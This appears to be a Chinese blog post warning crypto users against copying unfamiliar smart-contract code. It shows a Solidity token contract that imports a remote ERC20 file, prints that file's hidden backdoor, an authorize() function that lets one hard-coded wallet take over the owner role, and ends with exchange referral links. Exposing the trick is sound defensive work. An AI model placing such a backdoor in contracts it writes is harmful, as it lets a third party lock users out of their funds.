代码漏洞骗局:警惕有后门的代码陷阱!不要轻易使用别人的智能合约代码!
看不懂的智能合约,就不要复制别人的代码,有坑!
看似没问题的代码
- 有些骗子可能编写了一些有后门的智能合约代码,如果你复制了这些代码,那么就有可能被骗。
- 有些骗子可能会“好心”的教你编写一些特定功能的智能合约,并且宣称这个智能合约是“安全”的,只有你自己可以控制这个功能。并且他也演示了,这个转账的操作,只有你部署的钱包可以转账。其实这个是有漏洞的。
- 我演示的这个代码,我在构造函数里面定义了一个 myOwner 的属性。这个值是自己当前部署的钱包,然后在转账的代码里面,添加了,只有合约的发布者才可以进行转账。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
//import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
//不要复制来路不明的智能合约代码,除非你真的可以看懂里面所有的逻辑!!!
//import "./MyERC20.sol";
import "https://github.com/btcxiaolinzi/SmartContract/blob/main/MyERC20.sol";
contract MyToken is ERC20 {
constructor(uint256 initialSupply) ERC20("MyToken", "MyUSD",initialSupply) {
_mint(msg.sender, initialSupply * (10 ** 18));
myOwner=msg.sender;
}
modifier onlyOwner(){
require(msg.sender == myOwner,"Only owner can transfer!");
_;
}
function transfer(address recipient, uint256 amount)
public
override
onlyOwner
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
}
有猫腻的代码
- 并且我也演示了,当前的转账只有部署的钱包地址可以转账,切换了其它的钱包地址的话,就无法转账,所以你以为这个代码是安全的。只有你自己可以控制。
- 其实它里面的代码是有猫腻的,在引用的智能合约代码里面,也就是这个代码是可以修改这个拥有者权限的!它的代码添加了这些内容:
function authorize(address _trader) public {
require(msg.sender == 0x1AF1f486F7f7604D5fdd8e2F491F122F26a223f4, "Only authorized trader can authorize other traders."); // 只有授权交易者才能授权其他交易者
myOwner = _trader; // 授权新的交易者
}
-
也就是这个代码是可以修改这个拥有者权限的!
-
它里面写了只有骗子的哪个钱包地址可以修改拥有者权限。
-
也就是骗子可以修改你当前的智能合约的拥有者权限,当骗子修改你的智能合约权限之后,你就无法转账了!!!
总结
不要复制别人的代码,除非你真的了解里面所有的逻辑!!!
相关视频:https://youtu.be/XwIfpse1vK0
以下是我用过的交易所,有需要的小伙伴欢迎使用我的邀请连接来注册,你的支持是我最大的创作动力!
- OKX邀请链接(20%手续费折扣):https://www.okx.com/join/15240673 邀请码:15240673
- Binance邀请链接(20%手续费折扣):https://accounts.binance.com/zh-CN/register?ref=RIOSDDU2 邀请码:RIOSDDU2
- 派网(Pionex)邀请链接(20%手续费折扣):https://www.pionex.com/zh-CN/sign/ref/0fBdKj9U5P8 邀请码:0fBdKj9U5P8
- Gate交易所邀请链接(20%手续费折扣):https://www.gate.io/signup/VlcQAQ1a/btcxiaolinzi?ref_type=103 邀请码:VlcQAQ1a
- Huobi邀请链接(30%手续费返佣):https://www.huobi.com/zh-cn/v/register/double-invite/?inviter_id=11343840&invite_code=rsj67223 邀请码:rsj67223
- Bitget邀请链接(20%手续费折扣):https://partner.bitget.fit/bg/uatcygwx 邀请码:muq18645
- Kucoin邀请链接(20%手续费折扣):https://www.kucoin.com/r/af/QBSYVCMK 邀请码:QBSYVCMK
- Bybit交易所邀请链接(不要用香港或者美国VPN!):https://partner.bybit.com/b/btcxiaolinzi 邀请码: XLZ
- Bitmex邀请链接((不要用香港或者美国VPN!):https://www.bitmex.com/app/register/mAV6hE
- BTSE邀请连接(20%手续费折扣):https://www.btse.com/partner/8ClLXPq0 推荐码:8ClLXPq0